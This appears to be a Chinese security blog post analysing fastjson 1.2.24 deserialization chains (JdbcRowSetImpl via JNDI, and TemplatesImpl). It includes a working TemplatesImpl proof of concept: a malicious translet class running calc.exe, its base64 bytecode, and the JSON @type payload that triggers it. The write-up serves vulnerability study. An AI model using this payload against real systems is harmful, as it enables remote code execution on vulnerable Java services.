参考文章

这里用的是fastjson 1.2.24版本来进行分析

image-20230510112535170

image-20230510115514716

给上面的图片在添加一个条件,满足条件的getter也行

这就是fastjson和原生类的反序列化的不同之处

JdbcRowSetImpl链子

这个链子是必须出网的

com.sun.rowset.JdbcRowSetImpl中的dataSourceName属性 寻找他的set方法

image-20230517154056485

然后跟进到他的setdataSourceName方法

image-20230517154148020

这里就是把传进去的值赋给dataSource

这里再看autoCommit属性,然后去查看他的set方法,setautocommit,需要传入一个布尔类型的参数

image-20230517154245264

判断conn是否为空 不然就赋值 跟进connect方法

image-20230517154459890

lookup(getDataSourceName()) lookup函数链接我们写入的服务 加载我们的恶意类
构造恶意类

根据最后的connect()方法,前面的操作就讲得通了

因为前面得conn默认为空,所以能进入下一层,然后又因为我们给了DataSourceName赋值,又可以进入下一层,然后就是lookup()函数进行连接了,连接得值刚好是DataSourceName

TemplatesImpl 链子

这个链子是不出网的

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
//EvilCalss.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class EvilClass extends AbstractTranslet {
public EvilClass() throws IOException {
Runtime.getRuntime().exec("calc.exe");
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException{

}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException{

}

public static void main(String[] args) throws Exception{
EvilClass evilClass = new EvilClass();
}

}

将其编译为字节码文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package org.example;

import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.util.Base64;
import java.util.Base64.Encoder;

public class HelloWorld {
public static void main(String args[]) {
byte[] buffer = null;
String filepath = ".\\src\\main\\java\\test\\EvilClass.class";
try {
FileInputStream fis = new FileInputStream(filepath);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int n;
while((n = fis.read(b))!=-1) {
bos.write(b,0,n);
}
fis.close();
bos.close();
buffer = bos.toByteArray();
}catch(Exception e) {
e.printStackTrace();
}
Encoder encoder = Base64.getEncoder();
String value = encoder.encodeToString(buffer);
System.out.println(value);
}
}

得到

1
yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYHAB8BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAORXZpbENsYXNzLmphdmEMAAgACQcAIQwAIgAjAQAIY2FsYy5leGUMACQAJQEACUV2aWxDbGFzcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAsAAAAOAAMAAAAKAAQACwANAAwADAAAAAQAAQANAAEADgAPAAIACgAAABkAAAADAAAAAbEAAAABAAsAAAAGAAEAAAARAAwAAAAEAAEAEAABAA4AEQACAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAFAAMAAAABAABABAACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAFwAIABgADAAAAAQAAQAUAAEAFQAAAAIAFg

poc

1
2
3
4
5
6
7
8
9
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class POC1 {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\":[\"编码\"], '_name':'c.c', '_tfactory':{ },\"_outputProperties\":{}, \"_name\":\"a\", \"_version\":\"1.0\", \"allowedProtocols\":\"all\"}";
JSON.parseObject(payload, Feature.SupportNonPublicField);
}
}

Fastjson默认只会反序列化public修饰的属性,outputProperties和_bytecodes由private修饰,必须加入Feature.SupportNonPublicField在parseObject中才能触发;

动态加载字节码分析

这里的话在我之前写过得一篇文章也有写这个 Java安全之BCEL ClassLoader

首先分析后半部分 即TemplatesImpl中的链子
由上文我们知道 ,fastjson使用JSON.parseObject方法反序列化会调用get 和set方法
TemplatesImpl中属性的get和set方法中
getOutputProperties方法调用了newTransformer方法

image-20230517160245013

newTransformer中调用了getTransletInstance方法

image-20230517161405853

这里需要调用到defineTransletClasses所以需要使_name!=null,_class == null

image-20230517161442419

在defineTransletClasses中 重写了defineClass方法 对_bytecodes中的恶意代码进行加载

image-20230517161528118

这部分其实就是CC4 的后半部分